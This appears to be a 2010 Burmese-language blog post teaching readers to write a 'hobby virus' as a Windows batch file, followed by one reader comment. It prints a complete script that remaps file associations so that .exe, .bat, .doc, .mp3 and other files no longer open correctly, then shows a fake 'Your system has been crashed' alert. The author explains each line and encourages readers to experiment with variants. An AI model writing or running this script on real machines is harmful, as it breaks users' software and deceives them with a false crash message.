Batch File နဲ့ အပျော်တမ်းvirusရေးရအောင်

sithuphyoJune 3, 20101min901

ကျနော်ဒီပိုစ်လေးကိုတင်တာbatch file ကိုလေ့လာနေတဲံသူအတွက်ရေးတာပါ။သဘောတရားလေးပေါ့ဗျာ။ဖျက်လိုဖျက်ဆီးချင်တဲ့ သဘောနဲ့ရေးတာမဟုတ်ပါဘူး။လေ့လာနေတဲ့သူတွေအတွက်အကျိုးရှိပါတယ်။ကဲကျနော်တို့စလိုက်ရအောင်ဗျာ။

ကျနော်တို့notepad ကိုဖွင့် လိုက်ပါ။ ပြီးရင်
@echo off
assoc .mp3=jpegfile
assoc .txt=pngfile
assoc .exe=regfile
assoc .html=batfile
assoc .bat=regfile
assoc .reg=sysfile
assoc .doc=dllfile
msg * have fun!
@echo off
color 1e
@echo Your system has been crashed !
@echo Contact to your system administrator
pause
exit
ဆိုပြီးရိုက်လိုက်ပေါ့ ။သိပ်ပြီးတော့လဲလက်တည့် မစမ်းနဲ့ ဦးနော်။ line number 4ကassoc .exe=regfile ဆိုတာကြီးကိုမပါဘဲ စမ်းကြပါ။ပါရင်တော့ သယ်ရင်းတို့ ရဲ့ exe တွေသုံးလို့ မရဘဲနေဦးမယ်။ @echo off ဆိုတာက ရေးထားသောcode များကိုမမြင်စေရန်commandပေးထားခြင်းဖြစ်ပါသည်။အကယ်ရု် @echo onဆိုရင်codeတွေမြင်ရမှာပါ။assoc ကတော့ association fileကိုပြောတာဖြစ်ပါတယ်။သက်ဆိုင်ရာfile formatများကိုပြောင်းချင်ရင်သုံးပါတယ်။ထို့ကြောင့်mp3ကိုဖွင့်လျှင်jpegfileအနေနဲ့ပွင့်လာတာကိုတွေ့ရပါမယ်။
ဒါဆိုရင်assoc ရဲ့ functionကို သဘောပေါက်လောက်ပြီထင်ပါတယ်။ msg ဆိုတာကတော့ message box ပါ။သတိထားရမှာကတော့ * လေးပါ’have fun ဆိုတဲ့နေရာမှာပြောင်းချင်တဲ့ စာသားထည့်ပါ။ color 1e ဆိုတာကတော့ နောက်ခံ background color and font colorကိုပြောခြင်းဖြစ်ပါတယ်။ @echo ဆိုတာကတော့ခုနကအပေါ်မှာပြောသလိုဘဲ code တွေကိုဖေါ်ချင်ဝှက်ချင်ရင်သုံးပါတယ်။ ကိုပေးပေါစေချင်တဲ့ စာသားထည့်ချင်ရင် your system has been crashed ! နေရာမှာစိတ်ကြိုက်ရေးနိုင်ပါတယ်။ကဲကျနော်တို့ရဲ့ အပျော်တမ်းvirus တွေကိုဖန်တီးနိုင်ပါပြီင်္ခင်ဗျာ။ နောက်ပြီးတော့ကိုယ့်စိတ်ကူးထဲမှာရှိတဲ့အတိုင်းစမ်းကြည့်ပေါ့။

One comment

  • gar

    July 30, 2010 at 9:40 am

    အင် ရ ပါ မ လာ အင် စမ်း ကြည်မယ် နော်

Leave a Reply